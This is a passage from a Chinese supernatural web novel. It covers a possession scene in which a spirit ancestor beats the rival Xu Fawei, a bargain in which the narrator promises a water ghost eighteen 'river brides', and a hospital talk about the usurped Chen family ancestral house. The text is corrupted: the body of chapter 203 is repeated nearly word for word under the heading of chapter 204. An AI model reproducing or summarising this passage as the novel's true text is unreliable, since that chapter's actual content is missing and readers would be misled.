“我们走!回头,我自会……”徐发微这一眼扫过我,又扫向钱家所有人。 可偏偏这时,异变突生。 那老爷子钱魁,猛地一下扬起手,一耳巴子抽在了徐发微的脸上! 他多大劲儿? 徐发微直接当场转了一个大圈! 这一幕,让钱家那些人都傻眼了,一个个瞠目结舌。 “家主!你干什么呢!?” “你疯了吗!?你干嘛打徐先生!” “天啊……这……这……” 钱家人更慌,一下子都要乱了阵脚似的。 “你!”徐发微颤巍巍站稳,瞪着钱魁两三息,他似是反应过来什么。 骤然摸出来一张符,朝着钱魁脸上拍去! 说时迟,那时快,钱魁被符拍中! 只不过,旁边儿另一个钱家人骤然上前,啪啪啪啪啪,一连串的耳光,抽的徐发微简直是晕头转向。 “呃啊!”徐发微怒吼一声,再度抓出来一把符,朝着那人脸上拍去! 这就能看出来,徐发微的手段不够硬了。 他打中第二人后,第三人上前,紧接着第四人,第五人…… 很快,徐发微的脸,都肿成了个猪头,他嘴角不但在流血,更淌下来唾液。 他粗重的喘息着,死死的瞪着我。 “陈棺生,你死定了!你知道吗!你死定了!你还养鬼!先生养鬼,天理不容!” 就在这时,我却感觉到,我身体猛然一阵冰凉,像是有什么东西钻了进来。 随后,我迈着大步往前走出! 这不是我在控制自己的身体! 我也被上身了! 是陈瞰山上了我身! 先前,也是陈瞰山出手! 顷刻间,我到了徐发微面前! 一时间,钱家人就要冲上来! 我抬头,冷眼扫过四方。 就这一眼,所有人全部僵站在原地,不敢动弹! “小小钱家,不过个九流家族,旁门左道都算不上,还敢对我陈家子弟大放厥词!” “发微道场中,居然出了你这么个货色,倒也让我长了见识!” 我口中的声音是陈瞰山的。 陈瞰山已然是勃然大怒! 我手从腰间拔出,赫然抽出了寻龙分金尺,尺子骤的朝徐发微脸上抽去! 第200章 一语惊醒梦中人! 陈瞰山之怒,这一怒之下,我手中的力道变得前所未有的大! 我自己都能感觉到,我手中的寻龙分金尺,好像是一块门板那么重。 不,不对,是像是一座山! 我形容不了了。 总之我脑子里面冒出一个词汇。 怒,若山崩! 砰! 尺子抽在了徐发微的脸上! 确切来说,是牙槽骨的位置! 噗! 徐发微吐出来了六颗大牙! 人,总共就十二颗大牙,左右上下各三颗! 就这一尺子,徐发微右侧脸颊,上下各三颗大牙,全都给打掉了! 正常来说,少那么多牙齿,徐发微的脸都得小一圈儿,可先前他挨的耳光太多,偏偏没小下来,还是肿成猪头样。 钱家人被彻底吓傻了。 他们无人敢上前,甚至有人开始后退。 甚至,他们连地上躺着的那几个钱家人都不敢管,连他们家主钱魁,都不敢上前去管。 徐发微重重倒在地上。 他眼前一阵阵发黑,整个人都好像失去了意识。 口中只剩下颤栗呢喃:“你怎么敢的……你怎么敢的……” “带着这死狗,滚。” 我陡然抬起手,寻龙分金尺扫过其余地上的钱家人,喝道:“带着这些死狗,都滚!” “金尺玄算陈家,就算如今只剩一个子弟,也不是你们可招惹的存在!” ”哼!“ “发微道场?老虎发威么?我看,病猫道场还差不多吧。” 语罢,我口中又发出了笑声。 是那种特别爽朗,特别畅快的大笑! 再然后,我感觉到身体的控制力恢复了。 笑声因此缓慢终止。 那些个钱家人一个个和见鬼了似的,去拖着地上的钱家人,去拖着徐发微,飞速的朝着回水湾平房方向狂奔! 生怕慢了半步,就要被斩杀在当场。 夜色变得安静了许多。 我深呼吸,好一会儿心绪都没办法平复。 这,就是陈瞰山? 好大的威风! 往往,这五个字是贬义词,可这会儿,我是真的认为,陈瞰山好大的威风! 陈家子弟? 我此前一直都在认为,让我肩负起陈家的责任,这对我来说,就像是强行的道德绑架。 我愿意做这件事情,愿意去找九尸拉棺,是为了爸,为了爷爷,为了我自己,为了不遭受其余祸患的影响。 这不冲突,只是对我来说,我心里会舒服一些。 哪怕是利用陈瞰山去针对葛家,我都没有什么不适,或者是愧疚心理。 我觉得,这是陈家欠我爷爷,欠我爸,甚至是欠我的。 可现在,我隐隐约约,有了几分改观。 金尺玄算,就有这么大威名吗? 陈家弟子收入,陈瞰山就会如此咄咄逼人,甚至是……以大欺小? 是了,虽说陈瞰山是个死人,但无论是年纪也好,资历身份也罢,对于徐发微来说,都是以大欺小,甚至对于钱家,更是恃强凌弱? 当然,钱家是一报还一报,他们不也是这样对付苟驹的? 今日,陈瞰山这样维护我。 那当日呢? 陈瞰山影响了葛家,他是怎么影响的? 应该不是好商好量吧? 否则,凭借葛俊的乖戾,葛家根本不是省油的灯。 此后,葛家那老先生又怎么会那么容易服软? 金尺玄算…… 金齿,代表着风水术,代表着葬经百解。 玄算,代表着算命术,代表着神相千壳。 什么时候,我才能拿得起这个名字? 内心的激昂,总算慢慢平复了。 我深呼吸,将寻龙分金尺别在腰间。 扭头,我看向苟驹。 没想到苟驹却双手拱起,居然是朝着我行礼的动作。 “见过陈二老先生。”苟驹这番话是分外恭敬。 “是我,苟叔,二爷爷走了。”话语间,我赶紧搀扶着苟驹的手臂。 徐湘灵本来也在行礼,她反应过来,这才直起身。 苟驹咽了口唾沫,他上上下下又打量我一遍,再回头看了一眼这宅子。 “还是我有眼不识泰山了,陈家余威,居然如此之大,我其实稍稍听过一些发微道场的,那可不是个简单的地方,好像不光是有先生,还有道士。” “陈二老先生敢直接抽掉徐发微的大牙,是不怕那发微道场了……” “果然啊,这就是人外人,天外天,钱家还以为请来这尊少爷,就能拿捏咱们,他们现在知道了,铁板硬起来得有多硬!” 苟驹这番话,是充满了感慨。 “是啊,这铁板,够硬的。”我唏嘘一声,又带着几分怔然,喃喃道:“那曾经的陈家呢?如日中天的陈家,又是一副怎么样的盛况?” “这……”苟驹思索片刻,才说:“那时候,我还没出生呢,这事儿,还真就不知道,小陈,你爷爷清楚的很吧?” 我默了片刻,才说:“爷爷应该是清楚的,只不过,陈家的祖宅在哪儿,他从未和我提起过。” 人,是一种感性动物。 陈瞰山的做法,让我感触良多。 对于陈家,我都难掩的有了一些归属感。 一时间,更有了一种说不出的好奇。 因为徐发微还说了,我进过陈家吗?我进得去吗? 这代表陈家本身还有某种问题? 只不过,这问题我不知道。 “是了嘛,问一哈,他肯定就讲了瑟,小陈,你是想去看看?”苟驹又问我。 没等我接话,他就说道:“晚上消停的睡一觉,钱家这下子被整走,我看他们是不敢找上来了,钱家这一遭,我也算是泄愤,那神婆,就让他待在老宅里,什么时候死,就算他这条命到头,别的我也无所谓了。” 苟驹的态度很明确。 这报复,他已然满意,只要钱家不闹,他就无所谓。 陈瞰山敢这么做,我觉得那发微道场,恐怕都得掂量掂量,不一定敢来找麻烦。 这样一来,我们眼下的事情,反而一下子解决的差不多了? 于我来说,就是九尸才凑出来两个,还远远不够。 思忖片刻,我才说:“苟叔,这样吧,如果钱家不来找麻烦,这件事情就按照你说的做,我要和河神老爷聊一聊,另外,明天我会去找我爷爷,问下陈家老宅的情况,对了,我还会给你写几个方位,如果说,有这几个方位的人需要捞尸,你尽可能接下来,我会帮忙,不过,我要尸体,暂时借用,日后归还。” 我一口气,连续说了好几件事儿。 苟驹咂摸片刻,才扭头瞅了一眼肩膀上趴着的河神老爷,小声说:“老伙计,去。” 河神老爷却待在苟驹肩头,它说什么都不愿意往我身上来。 “嘿,小陈救了你呢,赶紧去,他可不是一般人,指不定到时候给你整几个河娘子,你不得爽翻天了?”苟驹伸手捯饬捯饬河神老爷的屁股。 我瞳孔猛然一缩,心头都猛跳。 苟驹是一语惊醒梦中人! 第201章 夜哭 我本意是将河神老爷带进陈瞰山的墓室里,让它看看陈瞰山的尸体,再然后直接告诉它,我希望它配合我做一些事儿。 我差不多能分析出来陈瞰山想要我做的事情。 九尸拉棺,是最关键的。 这件事情的难度,奇高无比。 可再仔细看下来,这难度是为了什么? 这绝非陈瞰山故意刁难我。 九星对九尸,分别还对着九个不同的风水。 我如果能从这九星风水位中,找出九尸,这代表着我本身风水术就到了一定水平。 这更代表着,我拿到了陈瞰山留下的风水术,也能够很好的运用。 其实,就算拿不到,我去面对锁龙井的凶尸,都不会那么容易被杀死了。 陈瞰山看似给我难题,实际上,是给我磨砺。 对比之下,河神老爷反而是最没有用处的存在。 他至多能起到的一个作用,应该就是带路? 带着我找到下方的棺材所在之地。 对,还有另一个作用,我先前就想过。 陈瞰山有没有可能,是用这种方式,让白姝灵离开我身边。 他们对陈家子弟都是有期许的。 就像是爷爷和瞿九娘,能够甩开白姝灵的时候都毫不犹豫的下决定。 苟驹也会说,死人婆娘不耽误我找个活人媳妇。 尤其是在陈瞰山的眼中,我这个陈家子弟怎么可能一直有个阴妻。 更何况,我有个蟾山的女善人阐婵,是在他眼中有婚书的阴妻,他就更看不上白姝灵了。 我想清楚了这一切,更明白河神老爷的两个作用。 在我这番思索间,苟驹用力捯饬河神老爷的屁股,说:“怎么的老伙计,你又没有晕,等会儿我给你杀十个鸡,让你好好补补,不行吗?小陈肯定得和你说正……” 我打断了苟驹的话,深深看一眼河神老爷,说:“苟叔,不用进屋单独聊了。” “嗯?”苟驹怔愣片刻,没反应过来似的。 “白姝灵,我是不可能给你的,你不要垂涎,不过,河娘子,我可以许诺,给你一十八个,如何?” “除了没有姝灵凶,哪一点都不会弱于姝灵。” 我接连两句话,语气沉着冷静。 河神老爷本来还是耷拉着头, 它忽地一下支棱起脑袋,嘴里发出怪异的吱吱声。 这声响,有些像是猴子叫唤。 水尸鬼这种东西,我本来就觉得,有些像是水猴子,无非是这种白毛的,更像是人。 “我操?”苟驹明显因为我这句话而震惊。 “小陈,我刚才随便说说而已,你真给啊?十八个?”苟驹重重咽了口唾沫。 徐湘灵却怔了怔,她微咬着唇,却往远处走去了。 很明显,徐湘灵不想听我接下来的话。 “嗯,苟叔,这事儿,是我和河神老爷之间的。” 我刚说完,河神老爷仿佛精神头都大了很多,从苟驹身上支棱起来半个身子,凑在我脸上嗅了嗅,还龇了龇牙。 这样子看上去吓人,不过传递给我的感觉,反倒像是……友善? 苟驹摸了摸下巴,似是思索,才说:“老伙计意思是,这话只要不忽悠他,那从今儿开始,你就是他的爷,你想干啥,他就帮你干啥,为你,它能两肋插刀。” 河神老爷又龇牙,露出一副笑脸,这表情太夸张,牙腮骨都给露出来了。 我怔愣半晌,心头才想,是人是鬼,都这么现实吗? 微嘘一口气,我摇头,笑笑说:“不用那么夸张,回水湾下边有口棺材,到时候带我找到它即可。” 河神老爷脑袋点起来,和鸡吃米似的。 随后,它居然从苟驹身上窜下来了,是要朝着回水湾的地方跑去。 只不过它现在太虚弱,没跑几下就停下来,变得蔫头耷脑。 “苟叔,你让它好好休息吧,不急着现在,还得好一段日子呢。”我一时间都觉得乐呵,和苟驹解释。 “成,我记得你好像问过我水下棺材的事儿,这闹得,你让我直接和它讲不就行了吗,还得给河娘子,麻烦不是?”苟驹说。 “一码归一码。”我笑了笑回答。 重金之下,必有勇夫。 物极通灵,物老成精,河神老爷都能吃香火,它更想要这种水尸鬼都渴望的“河娘子”。 被下令做事儿,和它拼了命去做事儿,总有区别的。 “行吧,你有你的道理。那我先回去了,应该不用住这儿,我先让手底下的人回来,带几只鸡,对了,小陈你要写什么,等会儿给我就行。 ”苟驹点点头,他不多言其他,往前走几步,抄起来河神老爷,往头上一墩,便哼着小曲儿,朝着平房方向走去。 我回屋,临关门之前看了一眼屋外。 苟驹早已走远,却没瞧见徐湘灵的人。 她应该也走了? 我没想那么多,先去沙发旁坐下,茶几上有笔记本,圆珠笔,我刷刷写下来方位。 分别是北方、东南方、西北方、西方、东北方、南方。 这里分别会对应,一白坎、四绿巽、六白乾、七赤兑、八白艮,九紫离。 至于有个位置,是五黄中,对廉贞,廉贞为土,土为中,这个方位不好界定,我没法和苟驹说。 默念了一遍纸上内容,我再三确认没有问题,圆珠笔压着纸,我起身,伸了个懒腰,朝着房间走去。 这几天其实一直很轻松,除了等钱家,就是看神相千壳,我一直在汲取和学习。 我打算等明儿再将条子给苟驹了,这会儿先好好睡一觉。 一番洗漱后躺上床。 这几天,我都有些习惯了白姝灵会在我临睡之前,出来闹一闹。 当然,她也没有非要折腾我,要吸我阳气了。 我当面和苟驹徐湘灵说清楚那番话,她一样听在心里,总不能将我往“死”了整吧? 这个死了整,不过是调侃话。 怪异的是,今晚上,白姝灵没出现。 这让我有些不习惯,翻来覆去了半晌,都没有睡着觉。 好不容易睡过去了,隐隐约约,又听见了微弱的啜泣声,格外悲凉,哀伤,分明是女人在哭…… 第202章 必有隐秘! 我睁开了眼。 却瞧见窗前站着一“人”。 不正是白姝灵吗? 是白姝灵的魂魄,穿着一身白色素衣的白姝灵。 可恍惚间,白姝灵又变了一副模样,是穿着鲜红嫁衣,是她的尸身,站在窗户前哭。 白姝灵为什么要哭? 我挣扎着要坐起身来,要喊白姝灵。 可怪异的一幕发生了。 我胸口一阵发沉,像是有一双无形的手压着我胸膛,要让我倒下。 对,是鬼压床! 双眼几乎睁不开,眼皮太重,太沉。 我还没有坐起来,就躺倒回去,眼睛闭上了。 哭声持续了很久,似乎白姝灵还在我耳边说话。 说不上来,明明声音就在耳旁,我却听不清。 再然后,那说话声也消失不见了。 次日,当我醒来的时候,阳光明媚,整个房间都是亮堂的。 我没瞧见白姝灵。 其实,这个宅子都是阴阳宅,又有着符契,画地为界,看似是阳宅,实际上又是在阴宅之中转变,因此,不分昼夜,鬼都可以出来。 白姝灵往日就几乎不在白天出来。 除了上一次,苟驹要乱点鸳鸯谱的时候。 “姝灵?”我喊了一声。 白姝灵没有反应。 我怔了怔,低头看自己的手。 奇了怪了,手掌发红,还有些隐隐作痛,就像是搬了重物磨损了似的,小臂还有些酸胀感。 翻身下床,我又喊了一声姝灵,白姝灵依旧没反应,没出来。 我心知,她多半不会出来了。 或许因为上一次她白天现身,差点儿伤苟驹,陈瞰山对她有了新的限制? 我去洗手间洗漱了一番。 没有再在小二楼里多留,离开后,去往路边,打了个网约车,朝着医院的方向去了。 因为钱家的事儿,导致这么长时间一直都没有出来过,一时间,我还有几分恍惚。 晃了晃头,我才想起来,纸条忘记给苟驹了,便给苟驹发了条短信,和他说了,纸条放在茶几上,让他自己取一下。 很快,苟驹回了三个字:“要得嘛。” 再然后,我就闭目养神。 到了医院,径直去了病房。 病房里居然有人,徐湘灵正和我爸,爷爷在一块儿聊天,三人有说有笑。 我的到来,让我爸和爷爷都愣住。 徐湘灵同样一怔,像是没想到我会来似的。 她站起身来,喊了声陈先生。 我不知道怎么说。 徐湘灵还是那个徐湘灵,声音还是那个声音,只不过,就是有些不对,有些改变。 具体哪儿变了,我不好形容。 之前苟驹乱点鸳鸯谱被我挑明,被我说清楚,徐湘灵都没有这种变化。 “我先走了,陈先生你和叔叔爷爷慢慢聊。”徐湘灵侧身从我身旁走过,匆匆离开病房。 我明白了那种感觉叫什么。 隔阂。 先前都明明没有什么,现在,却忽然就出现了隔阂? 为什么? “你这孩子,不懂事儿呢?赶紧去送人家徐姑娘啊!” 我爸支棱着起身,语气透着一丝急迫。 爷爷叹了口气,说:“后知后觉,那点儿聪明劲儿,怕是都用在陈家的本事上了,还好,徐姑娘人不错,聪明,不做作。” “陈勇,你也别急了,我觉得有谱。” 我:“……” 原来,乱点鸳鸯谱,不是苟驹最先,在医院里就开始了。 “其他人我就不说什么了,爸,爷爷,你们知道我情况的。姝灵还在我身边的时候,我不打算考虑别的事情,这些,我已经和徐姑娘说清楚了。” 我如实和我爸,还有爷爷挑明。 “哎哟……你要气死我!” “我给你个短命娃娃两跩跩!” 我爸作势要伸手来打我脑门儿。 他那句话是方言,就是要给我几个爆栗的意思。 我微叹,苦笑,才解释:“人,要有心啊,不能因为自己走上去了,从村里出来了,有点儿本事了,就忘恩负义,爸,爷爷,糟糠之妻不可弃,这都是老话了,我不信你们不懂这个道理,没有我那老丈人,我能活到今儿?没有姝灵,我能站在这里?你杀牛那晚上,我就被牛顶死了。” 这番话,我便说的很直接。 就这一下,我爸和爷爷全都戛然无声。 爷爷脸色更微微一变,似是想到了什么,重重叹了口气。 他不说,我都明白了,他是叹蟾山女善人,阐婵。 我可不止一个阴妻,除了白姝灵,还有更早的阐婵,是老陈家破败之前就定好的婚书。 这事儿,哪有那么容易解决? “总不能摊上这个纸婆娘,一辈子都是纸婆娘吧?我陈家不能断后?” “鬼有鬼的安置方法,人有人的,棺生你说是不是这个理儿?” 我爸脑子本来都轴,他忽然一下,像是转过来弯儿似的,目光灼灼的看着我,语气更透着问询。 “亲家不也是这个想法吗?给他家姝灵找个好人家,好好供奉,到时候还是得去投胎啊,投胎才能有下辈子做人的机会,是吧?” “嗯嗯。”我点点头,便补充一句:“爸,那也不是现在的事儿了,姝灵还走不了,她这事儿麻烦着呢,前几天苟叔提了一下徐姑娘的事儿,姝灵当场就要翻脸,这话,你最好还是别说,不然以后姝灵把你扔江里泡一夜。” 我这是软的不行,就来硬的了。 假借白姝灵的性格,压一压我爸的口风。 果不其然,我爸脸色都变了变:“我是她家公,她敢!她翻天了不成?” “你给我找新媳妇,她不撕你,能说得过去?”我又道。 我爸:“……” “好了陈勇,棺生他应该有解决办法的,你别一直逼他。”我爷爷开了口。 “是要妥善处理,白姝灵不算什么,好解决,问题不是她,现在别害了人徐姑娘。” 爷爷的通情达理,也不算通情达理,他是怕蟾山的女善人。 至于对徐湘灵,他们还是一致认可,这让我一阵哭笑不得。 定了定神,我才拉开了话题,说:“爷,我今儿不光是来看你们两个的,老陈家的祖宅在哪儿?我想去看看。” 爷爷的脸色却蓦然一变,才说:“你怎么会忽然提这件事儿?” 随后,爷爷断然摇头,说:“老陈家祖宅没了,这事情,不要再说,不要再提,棺生,你还忙,你就别待在医院里了,赶紧回去,该赚钱赚钱,该学本事学本事。” 话语间,爷爷居然要将我推搡出病房了。 我便知道,这事儿绝对不简单,必有隐秘! 第203章 陈梁生 “陈梁生。” 我说。 一时间,病房内变得极度安静。 陈梁生这个名字,曾经是我爸的希望,那时候他和我妈生不出来孩子。 曾经,陈梁生是我爷爷的大孙子。 曾经,陈梁生在陈家,有着至关重要的地位。 可如今,这个名字却那般的避讳陌深。 一时间,我爸和爷爷,都没有说话。 我爸的脸色发青,爷爷的呼吸都开始变重。 我知道,他们还没想到什么,只是单纯这个名字就影响到他了。 其实,我之前就想过,分析过,陈梁生为什么会出现在我家里,为什么我爸妈会生不出来孩子,然后捡到陈梁生,再之后,他们又能够怀孕了。 现在,爷爷说出陈家老宅的事情,说出那么多人想要陈家的传承,这件事情,就成了一个圈儿! 爷爷,我爸,奶奶,我妈,他们都是圈中人! 我曾是,不过我现在跳出来了! “棺生,好端端的,你提那个畜生干嘛?”我爸声音都有些发闷。 他瓮声再道:“听见那畜生的名字,我都想吐,他就不配姓陈,我给他取名梁生,是想让他当栋梁,还得生根落地,你看他都做了什么?他比鬼还凶残可恨,他比蛀虫还要令人厌恶啊!” 我爸还是没反应过来,只是情绪愈发不悦。 爷爷眉头紧缩,他似是陷入了分析。 毕竟,爷爷还是爷爷,毕竟是陈家最后一个小少爷。 毕竟,我爸只是个糙汉子,还因为陈家的一系列行为,他没什么资质,就像是快朽木。 良久后,爷爷颤巍巍开了口,说:“原来是这样吗……” “那些人,不肯善罢甘休,让你爸妈生不出孩子,送来个陈梁生,之后,陈梁生找不到东西,就索性让你被怀上,再然后,刻意做出一些事情,让你和老鳏夫搭上关系,你就必然会踏上这条路,我,或者是九娘,就必然会让你拿到传承……” “这个过程中,就是陈梁生的机会!?” “这就意味着,你的事情,陈梁生一直都知道?” 我本以为爷爷能想到一部分就不错了,我再补上另一部分。 可没想到,爷爷这说话倒豆子似的,他居然全都说完了。 和我分析出来的结果,如出一辙,基本上没有区别! “那不对啊!”爷爷声音又一次拔高:“他们这么想要传承,棺生,你现在本事不算太够,他们怎么没有找你动手?” 我爸是全盘发懵的状态,信息量太多,对他的冲击性太大,他还是没有反应过来。 爷爷这番问题,却让我沉默。 因为我也是先前才完全考虑到陈梁生的来历,和准确的问题。 这隐患,的确极重,极大。 同样,我也非常疑惑,为什么陈梁生都知道传承肯定在我身上了,他知道我的与众不同,为什么,他没有让在陈家祖宅中那些人动手? 为什么,陈梁生还能被困住? 退一万步说,他被困住之后,打不出去电话,没办法发出去信息,让人无法得知她的情况。 可上一次,我们打开黄渠村的禁锢,破解了黄渠河的水尸鬼。 陈梁生那么久没有消息,黄渠村又出那么大的事情,陈家祖宅中的那些人,就没有去找过陈梁生? 这问题,太大,太大! “我也不知道,是因为二爷爷么?” 我低声回答。 陈瞰山,的确是个震慑。 面对那么趾高气昂的徐发微,面对徐发微口中的发微道场,陈瞰山丝毫没有在意。 之前的葛家,陈瞰山更是手拿把掐。 一个死了的人,都有这么大的本事,他活着的时候更不简单。 陈瞰山的存在,导致陈家祖宅里的那群忘恩负义之人,没有来对付我。 还是因为,祖宅中出了某些事情,让他们无暇顾及我? “不知道了啊,可棺生,你真得小心,陈梁生本来就是一条毒蛇了,暗中居然还有那么多条蛇!”“嗐!” 爷爷说着,还用力狠狠跺脚。 这时候,我爸总算回过味儿来了,咒骂道:“我日他屋仙人板板,早晓得,老子把陈梁生直接弄死算求,还捡回来,该多扔两包垃圾下去,把他埋深点!” “后话,有什么用?哎。”爷爷还是叹息不止。 “烧了祖宅,也不能给他们啊!还被改姓……真的是是可忍孰不可忍!” 我爸嘴里还在喷着,还在骂着,至于爷爷说后话,他像是没听见。 或许是听见了,那也是解决不了的过去,是已经发生的事情了。 我心里堵得慌。 知道一定有芒刺在背是一点,另一点就和我爸相仿了。 尤其是因为陈瞰山的关系,我对陈家有了归属感之后,祖宅被人鸠占鹊巢,甚至这些人最后还害死了一些陈家人,随时盯着我。 甚至,他们造就出陈梁生。 看似我妈死在陈梁生手中,奶奶死在陈梁生手中,实际上,这群人才是真正的始作俑者! 真就是我爸那句话。 这样的话,烧了祖宅也不给他们啊! 眼下,非但没有什么念想,甚至只剩下难受了。 怪不得,先前爷爷怎么都不愿意说…… “总有一天能回去的,祖宅怎么能烧了?你个龟儿子,没得本事,就莫乱弹琴了。” “棺生,你看吧,爷爷就是知道你会难受。” 我爷爷一边嗓住我爸,一边又看着我叹气。 一时间,我的确不知道说什么才好,病房内再度只剩下沉默。 许久许久,还是爷爷去床头柜摸了张纸条,写下来一个地址递给我。 爷爷告诉我,这地方不要去找别人打听,他该说的都说了,更没必要瞒着我,但他不希望我去冒险。 我看了一遍地址,就记了下来。 将纸条撕成了碎末,扔进垃圾桶。 爷爷神态更放心了一些。 “我觉得,应该不是二爷爷的原因,如果二爷爷有那么大本事,他们就不敢对我,对咱们家做这些事儿了,还有,他们也不能在祖宅站稳脚跟,这里边儿,一定还有问题。” “爷,我得去想一想,我不在这里陪你们了。” 我和两人说完。 爷爷点头,我爸嘴里还在嘀咕着一些不好听的话, 爷爷还捯饬他肩膀一下,我爸才算是收住了口子。 微嘘一口气,我离开了病房。 不知觉间,差不多都到了正午时分。 离开医院,我走到路边,腹中传来咕噜声,五脏庙开始抗议,我正准备先找个地方吃饭,填饱肚子再往下考虑。 结果路边走来个人,径直停在了我面前。 第204章 圈中人 陈梁生这个名字,曾经是我爸的希望,那时候他和我妈生不出来孩子。 曾经,陈梁生是我爷爷的大孙子。 曾经,陈梁生在陈家,有着至关重要的地位。 可如今,这个名字却那般的避讳陌深。 一时间,我爸和爷爷,都没有说话。 我爸的脸色发青,爷爷的呼吸都开始变重。 我知道,他们还没想到什么,只是单纯这个名字就影响到他了。 其实,我之前就想过,分析过,陈梁生为什么会出现在我家里,为什么我爸妈会生不出来孩子,然后捡到陈梁生,再之后,他们又能够怀孕了。 现在,爷爷说出陈家老宅的事情,说出那么多人想要陈家的传承,这件事情,就成了一个圈儿! 爷爷,我爸,奶奶,我妈,他们都是圈中人! 我曾是,不过我现在跳出来了! “棺生,好端端的,你提那个畜生干嘛?”我爸声音都有些发闷。 他瓮声再道:“听见那畜生的名字,我都想吐,他就不配姓陈,我给他取名梁生,是想让他当栋梁,还得生根落地,你看他都做了什么?他比鬼还凶残可恨,他比蛀虫还要令人厌恶啊!” 我爸还是没反应过来,只是情绪愈发不悦。 爷爷眉头紧缩,他似是陷入了分析。 毕竟,爷爷还是爷爷,毕竟是陈家最后一个小少爷。 毕竟,我爸只是个糙汉子,还因为陈家的一系列行为,他没什么资质,就像是快朽木。 良久后,爷爷颤巍巍开了口,说:“原来是这样吗……” “那些人,不肯善罢甘休,让你爸妈生不出孩子,送来个陈梁生,之后,陈梁生找不到东西,就索性让你被怀上,再然后,刻意做出一些事情,让你和老鳏夫搭上关系,你就必然会踏上这条路,我,或者是九娘,就必然会让你拿到传承……” “这个过程中,就是陈梁生的机会!?” “这就意味着,你的事情,陈梁生一直都知道?” 我本以为爷爷能想到一部分就不错了,我再补上另一部分。 可没想到,爷爷这说话倒豆子似的,他居然全都说完了。 和我分析出来的结果,如出一辙,基本上没有区别! “那不对啊!”爷爷声音又一次拔高:“他们这么想要传承,棺生,你现在本事不算太够,他们怎么没有找你动手?” 我爸是全盘发懵的状态,信息量太多,对他的冲击性太大,他还是没有反应过来。 爷爷这番问题,却让我沉默。 因为我也是先前才完全考虑到陈梁生的来历,和准确的问题。 这隐患,的确极重,极大。 同样,我也非常疑惑,为什么陈梁生都知道传承肯定在我身上了,他知道我的与众不同,为什么,他没有让在陈家祖宅中那些人动手? 为什么,陈梁生还能被困住? 退一万步说,他被困住之后,打不出去电话,没办法发出去信息,让人无法得知她的情况。 可上一次,我们打开黄渠村的禁锢,破解了黄渠河的水尸鬼。 陈梁生那么久没有消息,黄渠村又出那么大的事情,陈家祖宅中的那些人,就没有去找过陈梁生? 这问题,太大,太大! “我也不知道,是因为二爷爷么?” 我低声回答。 陈瞰山,的确是个震慑。 面对那么趾高气昂的徐发微,面对徐发微口中的发微道场,陈瞰山丝毫没有在意。 之前的葛家,陈瞰山更是手拿把掐。 一个死了的人,都有这么大的本事,他活着的时候更不简单。 陈瞰山的存在,导致陈家祖宅里的那群忘恩负义之人,没有来对付我。 还是因为,祖宅中出了某些事情,让他们无暇顾及我? “不知道了啊,可棺生,你真得小心,陈梁生本来就是一条毒蛇了,暗中居然还有那么多条蛇!”“嗐!” 爷爷说着,还用力狠狠跺脚。 这时候,我爸总算回过味儿来了,咒骂道:“我日他屋仙人板板,早晓得,老子把陈梁生直接弄死算求,还捡回来,该多扔两包垃圾下去,把他埋深点!” “后话,有什么用?哎。”爷爷还是叹息不止。 “烧了祖宅,也不能给他们啊!还被改姓……真的是是可忍孰不可忍!” 我爸嘴里还在喷着,还在骂着,至于爷爷说后话,他像是没听见。 或许是听见了,那也是解决不了的过去,是已经发生的事情了。 我心里堵得慌。 知道一定有芒刺在背是一点,另一点就和我爸相仿了。 尤其是因为陈瞰山的关系,我对陈家有了归属感之后,祖宅被人鸠占鹊巢,甚至这些人最后还害死了一些陈家人,随时盯着我。 甚至,他们造就出陈梁生。 看似我妈死在陈梁生手中,奶奶死在陈梁生手中,实际上,这群人才是真正的始作俑者! 真就是我爸那句话。 这样的话,烧了祖宅也不给他们啊! 眼下,非但没有什么念想,甚至只剩下难受了。 怪不得,先前爷爷怎么都不愿意说…… “总有一天能回去的,祖宅怎么能烧了?你个龟儿子,没得本事,就莫乱弹琴了。” “棺生,你看吧,爷爷就是知道你会难受。” 我爷爷一边嗓住我爸,一边又看着我叹气。 一时间,我的确不知道说什么才好,病房内再度只剩下沉默。 许久许久,还是爷爷去床头柜摸了张纸条,写下来一个地址递给我。 爷爷告诉我,这地方不要去找别人打听,他该说的都说了,更没必要瞒着我,但他不希望我去冒险。 我看了一遍地址,就记了下来。 将纸条撕成了碎末,扔进垃圾桶。 爷爷神态更放心了一些。 “我觉得,应该不是二爷爷的原因,如果二爷爷有那么大本事,他们就不敢对我,对咱们家做这些事儿了,还有,他们也不能在祖宅站稳脚跟,这里边儿,一定还有问题。” “爷,我得去想一想,我不在这里陪你们了。” 我和两人说完。 爷爷点头,我爸嘴里还在嘀咕着一些不好听的话, 爷爷还捯饬他肩膀一下,我爸才算是收住了口子。 微嘘一口气,我离开了病房。 不知觉间,差不多都到了正午时分。 离开医院,我走到路边,腹中传来咕噜声,五脏庙开始抗议,我正准备先找个地方吃饭,填饱肚子再往下考虑。 结果路边走来个人,径直停在了我面前。 第205章 外姓弟子 “你没走吗?”我略诧异。 停在我面前的,正是徐湘灵。 说实话,因为苟驹,因为我爸,爷爷,对徐湘灵,我反而有些局促和不自然。 尤其是今天徐湘灵来找了他们,我就更不适应。 “你别误会,我只是担心陈叔叔,过来看看。” 徐湘灵抿了抿唇,才说:“我本来应该走了,姐姐的事情你处理好了,等钱家和那个徐发微有个结果,你就能处理的更好,我不应该来扰乱你才对,可是,我还是觉得,有些事情不对,我得和你说。” 我稍稍一怔。 徐湘灵的确让我不多想,我松口气。 她后边儿这番话我却听不明白。 又有什么事情不对了? “什么事情有问题,你但说无妨。”我道。 这段时间学神相千壳,文绉绉的话看得更多,导致我说话都有一些改变,方言变少了,更礼貌了,言语也带着一丝文气。 徐湘灵默了几秒钟,说:“河神老爷,其实就只是一个水尸鬼,那只水尸鬼被族群抛弃,被我姐夫捡到,姐夫让它养好伤,打捞到无主凶尸就让它吃,没几年它就成了气候,成了捞尸队的河神老爷。” “姐夫控制得住它,它不害人,这本身没问题,无主尸体没有人认领,留在江河中是个麻烦,被它吃了,这也没有问题。” “问题就在于,你许诺给它河娘子。” “河娘子,是无主之物吗?” “好,就算她们是,你不是我姐夫,你是个先生,你有着解决问题的本事,你能够让她们安息啊!” “她们曾是为了黄渠村而付出性命的人,怎么能让你当成物品,当成笼络水尸鬼的工具?” “本身,她们就是被水尸鬼侵犯杀害,你还让她们跟着更凶的水尸鬼,不是永世不得超生吗?” 徐湘灵这一番质问,言之凿凿,字句铿锵。 一时间,我戛然无声,是真不知道怎么回答。 徐湘灵这番话,完完全全,是我没有想到的点。 这才是昨晚,她直接离开的缘由? 